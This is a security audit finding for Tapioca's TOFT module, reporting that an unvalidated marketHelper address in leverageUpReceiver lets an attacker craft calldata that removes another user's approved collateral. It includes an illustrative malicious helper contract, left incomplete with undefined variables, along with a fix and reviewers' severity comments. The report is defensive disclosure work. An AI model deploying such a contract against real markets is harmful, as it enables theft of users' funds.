ctf_sec - lack of market helper address validation allows theft of fund

[sherlock-admin3]

ctf_sec

high

lack of market helper address validation allows theft of fund

Summary

lack of market helper address validation allows theft of fund

Vulnerability Detail

In TOFTMarketReceiverModule.sol Line of code

function leverageUpReceiver(bytes memory _data) public payable {
        /// @dev decode received message
        LeverageUpActionMsg memory msg_ = TOFTMsgCodec.decodeLeverageUpMsg(_data);

        /// @dev 'market'
        _checkWhitelistStatus(msg_.market);

        msg_.borrowAmount = _toLD(msg_.borrowAmount.toUint64());
        if (msg_.supplyAmount > 0) {
            msg_.supplyAmount = _toLD(msg_.supplyAmount.toUint64());
        }

        approve(address(msg_.market), type(uint256).max);

        {
            (Module[] memory modules, bytes[] memory calls) = IMarketHelper(msg_.marketHelper).buyCollateral(
                msg_.user, msg_.borrowAmount, msg_.supplyAmount, msg_.executorData
            );
            IMarket(msg_.market).execute(modules, calls, true);
        }

        approve(address(msg_.market), 0);

        emit LeverageUpReceived(msg_.user, msg_.market, msg_.borrowAmount, msg_.supplyAmount);
    }

we validate

  _checkWhitelistStatus(msg_.market);

Impact

However, if we take a look at the LeverageUpActionMsg struct, Line of code

struct LeverageUpActionMsg {
    address user;
    address market;
    address marketHelper;
    uint256 borrowAmount;
    uint256 supplyAmount;
    bytes executorData;
}

the marketHelper address is not validated

{
            (Module[] memory modules, bytes[] memory calls) = IMarketHelper(msg_.marketHelper).buyCollateral(
                msg_.user, msg_.borrowAmount, msg_.supplyAmount, msg_.executorData
            );
            IMarket(msg_.market).execute(modules, calls, true);
        }

it is crucial because the code tries to call IMarketHelper(msg_.marketHelper).buyCollateral to generate call data

However, if user can pass in any msg_.marketHelper, he can generate any call data, for example,

Then can generate call data to remove someone else collateral if another user give contract's approval. Line of code

function removeCollateral(address from, address to, uint256 share)
        external
        optionNotPaused(PauseType.RemoveCollateral)
        solvent(from, false)
        notSelf(to)
        allowedBorrow(from, share)
    {
        _removeCollateral(from, to, share);
    }

note that allowedBorrow(from, share) calls Line of code

function _allowedBorrow(address from, uint256 share) internal virtual override {
        if (from != msg.sender) {
            // TODO review risk of using this
            (uint256 pearlmitAllowed,) = penrose.pearlmit().allowance(from, msg.sender, address(yieldBox), collateralId);
            require(allowanceBorrow[from][msg.sender] >= share || pearlmitAllowed >= share, "Market: not approved");
            if (allowanceBorrow[from][msg.sender] != type(uint256).max) {
                allowanceBorrow[from][msg.sender] -= share;
            }
        }
    }

As we can see, the TOFT.sol very likely hold a lot token approval

if user can pass an marketHelper they control, they can just deploy this contract as marketHelper:

contract MaliciousMarketHelper {

    address public owner;

    address public victim;

    constructor() {
        owner = msg.sender;
    }

    function setVictim(address _victim) public {
        require(owner == msg.sender, "invalid owner");
        victim = _victim;
    }

    function buyCollateral(address from, uint256 borrowedAmount, uint256 supplyAmount, bytes calldata executorData)
        external
        pure
        returns (Module[] memory modules, bytes[] memory calls)
    {
        modules = new Module[](1);
        calls = new bytes[](1);
        modules[0] = Module.Collateral;
        calls[0] = abi.encodeWithSelector(SGLCollateral.removeCollateral.selector, victim, to, share);
    } 

}

No matter the address from passd in, the victim address is encoded in the execute module call data,

then after the victim give the magnetar address approval to transfer his own asset,

attacker can input victim address and remove collateral from victim address and withdraw the collateral to the attacker's own address.

In this case, even the function called is named as buyCollateral, the user maliciously compose the call data to remove assets.

Code Snippet

1. https://github.com/sherlock-audit/2024-02-tapioca/blob/dc2464f420927409a67763de6ec60fe5c028ab0e/TapiocaZ/contracts/tOFT/modules/TOFTMarketReceiverModule.sol#L74

2. https://github.com/sherlock-audit/2024-02-tapioca/blob/dc2464f420927409a67763de6ec60fe5c028ab0e/Tapioca-bar/gitmodule/tapioca-periph/contracts/interfaces/oft/ITOFT.sol#L150

3. https://github.com/sherlock-audit/2024-02-tapioca/blob/dc2464f420927409a67763de6ec60fe5c028ab0e/Tapioca-bar/contracts/markets/bigBang/BBCollateral.sol#L48

4. https://github.com/sherlock-audit/2024-02-tapioca/blob/dc2464f420927409a67763de6ec60fe5c028ab0e/Tapioca-bar/contracts/markets/Market.sol#L416

Tool used

Manual Review

Recommendation

This function should verify that the marketHelper address is among a list of approved or whitelisted addresses

before proceeding with any operations.

Duplicate of #90

[maarcweiss]

Low because modules are validated and the call data is also validated during the call path, though we will still add the validation to the market helper address as an improvement.

[dmitriia]

Modules are validated, but harm can be caused even by running arbitrary calls with the safe modules, see #90 (dup).